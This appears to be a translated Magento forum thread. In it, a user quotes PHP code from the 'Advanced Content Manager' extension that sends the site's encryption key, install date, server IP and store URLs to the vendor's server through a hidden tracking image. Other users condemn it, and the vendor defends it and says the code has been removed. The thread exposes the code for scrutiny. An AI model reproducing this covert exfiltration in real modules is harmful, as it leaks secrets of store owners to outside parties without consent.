Есть ли веская причина для удаленного доступа к глобальному / crypt / key?

Простите мое невежество, но ключ шифрования используется для расшифровки данных Magento, верно? Есть ли у модуля веская причина для доступа к этому? Я наткнулся на этот код после установки Advanced Content Manager ...

<div id="banana-tracker">
<?php
    $stores = Mage::app()->getStores();
    $key = (string)Mage::getConfig()->getNode('global/crypt/key');
    $date = (string)Mage::getConfig()->getNode('global/install/date');
    $serverIp = $_SERVER['SERVER_ADDR'];

    $params = 'key='.$key.'&date='.$date.'&';

    foreach($stores as $store)
    {
        $params .= 'store_'.$store->getCode().'='.urlencode(Mage::app()->getStore($store->getId())->getBaseUrl(Mage_Core_Model_Store::URL_TYPE_LINK)).'&';
    }
?>
<img src="http://www.advancedcontentmanager.com/images/distant/banana-tracker.gif?<?php echo $params; ?>time=<?php echo time(); ?>&serverip=<?php echo $serverIp; ?>" />

Да ... есть веская причина.
Они хотят знать это и регистрировать это, на всякий случай. :)

Вы должны удалить расширение (скорее всего, вы уже сделали). Вы никогда не должны использовать расширения, которые «звонят домой», независимо от того, какие данные они отправляют домой.

Возможно, вы захотите перечислить здесь расширение, чтобы другие могли его увидеть: Забавный / Бесполезный / Ужасный код от Magento Extensions

Мы получили запрос в поддержку этой функции сегодня. Мы уже решили это и удалили этот кусок кода. Новая версия доступна для всех наших клиентов в их области (бесплатно, так как мы предлагаем неограниченное обновление).

Я знаю, что мы должны это оправдать, поэтому давайте сделаем это:

• Целью этого трекера было ТОЛЬКО следить за несанкционированным использованием нашего расширения.
• Трекер отображался только в административной области (никто из ваших клиентов или кого-либо еще, кроме вас и нас, не смог его увидеть).
• Мы удалили это и в нашей БД.
• Ключ только для шифрования вашего пароля администратора. Поскольку мы работаем со всеми вами по запросам поддержки, вы, возможно, уже отправили нам свои учетные данные по электронной почте для поддержки. Если бы мы хотели получить ваш пароль, мы бы отправили его напрямую ... Это не было целью.
• Даже с ключом ваш пароль все еще зашифрован. И администратор magento блокирует пользователя после некоторых попыток.

Мы признаем, что это ошибка, и в этом сила сообщества и системы с открытым исходным кодом: мы можем исправить и улучшить намного быстрее. Спасибо всем за то, что предупредили нас, сейчас мы приложим больше усилий для устранения уязвимости.